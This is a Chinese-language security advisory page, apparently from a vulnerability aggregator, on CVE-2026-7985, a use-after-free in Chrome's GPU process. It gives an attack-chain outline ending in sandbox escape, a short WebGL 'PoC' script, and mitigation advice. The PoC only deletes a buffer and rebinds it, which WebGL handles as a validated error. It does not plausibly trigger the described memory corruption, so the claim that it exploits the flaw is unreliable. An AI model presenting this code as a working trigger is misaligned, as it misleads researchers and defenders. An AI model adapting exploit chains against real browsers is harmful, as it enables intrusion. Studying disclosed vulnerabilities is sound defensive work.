IPBUF安全漏洞报告
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CVE-2026-7985 CVSS 8.3 高危

CVE-2026-7985 Google Chrome GPU组件释放后重用漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-7985
漏洞类型
释放后重用
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

UAFChromeRCESandbox EscapeGPUHigh Severity

漏洞概述

CVE-2026-7985 是 Google Chrome 浏览器 GPU 组件中的一个释放后重用(UAF)安全漏洞。在特定版本之前的 Chrome 中,GPU 进程对内存对象的引用管理存在缺陷。远程攻击者可以先攻陷渲染进程,随后诱导用户访问精心构造的恶意 HTML 页面。攻击者利用该漏洞可触发 GPU 进程的内存错误,进而实施沙箱逃逸攻击,获取系统敏感信息或执行任意代码。

技术细节

该漏洞属于典型的释放后重用类型,发生在 Chrome 的 GPU 进程处理图形指令时。Chrome 采用多进程架构,渲染进程通过 IPC 与 GPU 进程通信。攻击者首先利用渲染进程的漏洞获得控制权,随后发送特制的 WebGL 或 Canvas 绘图指令。由于 GPU 进程在释放某些图形资源(如缓冲区或纹理)后未清空指针或验证有效性,后续的指令仍会访问该已释放的内存区域。攻击者可通过堆喷射等技术控制该内存内容,从而在 GPU 进程上下文中执行任意代码。由于 GPU 进程拥有较高的系统权限,成功利用此漏洞可突破 Chrome 强大的沙箱保护机制,实现完全的远程代码执行。

攻击链分析

STEP 1
初始入侵
攻击者首先利用渲染进程中的其他漏洞获取代码执行权限。
STEP 2
构造恶意页面
攻击者创建包含特定 WebGL 或 Canvas 指令的 HTML 页面,用于操作 GPU 内存。
STEP 3
诱导用户交互
诱导受害者访问该恶意页面,触发浏览器加载并执行恶意 JavaScript 代码。
STEP 4
触发 UAF 漏洞
恶意代码指令 GPU 进程释放内存对象后再次使用该对象,导致 Use-After-Free 错误。
STEP 5
沙箱逃逸
利用 GPU 进程中的内存破坏,绕过 Chrome 沙箱限制,获取系统级权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- // PoC for CVE-2026-7985: Chrome GPU Use-After-Free // This script attempts to trigger a UAF in the GPU process via WebGL. // Note: Actual exploitation requires specific heap grooming and renderer compromise. --> <html> <head> <title>CVE-2026-7985 PoC</title> </head> <body> <canvas id="glCanvas" width="640" height="480"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Attempt to get a WebGL context to communicate with GPU process const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { console.log("[+] WebGL context acquired"); // Create a resource (buffer) that will be managed in GPU process const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Perform some operations to ensure allocation gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 1.0, 0.0]), gl.STATIC_DRAW); // Trigger the vulnerability: Use the object after freeing it // In a real scenario, specific timing or memory pressure is applied here function triggerRace() { // Step 1: Free the buffer in GPU process gl.deleteBuffer(buffer); // Step 2: Attempt to access or bind the freed buffer (UAF) // This may cause the GPU process to crash or allow code execution gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Step 3: Perform operations on the invalid buffer const data = gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE); console.log("[+] Operation on freed buffer completed. Check GPU process status."); } // Trigger the sequence triggerRace(); } else { console.log("[-] WebGL not supported"); } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.96

防御指南

临时缓解措施
建议用户立即检查并更新 Google Chrome 浏览器至最新版本。在无法立即更新的情况下,建议限制访问不可信网站,并在浏览器设置中暂时关闭“使用图形加速”功能(如果可用),以减少 GPU 进程的攻击面,但这可能会影响浏览器的图形性能。

参考链接

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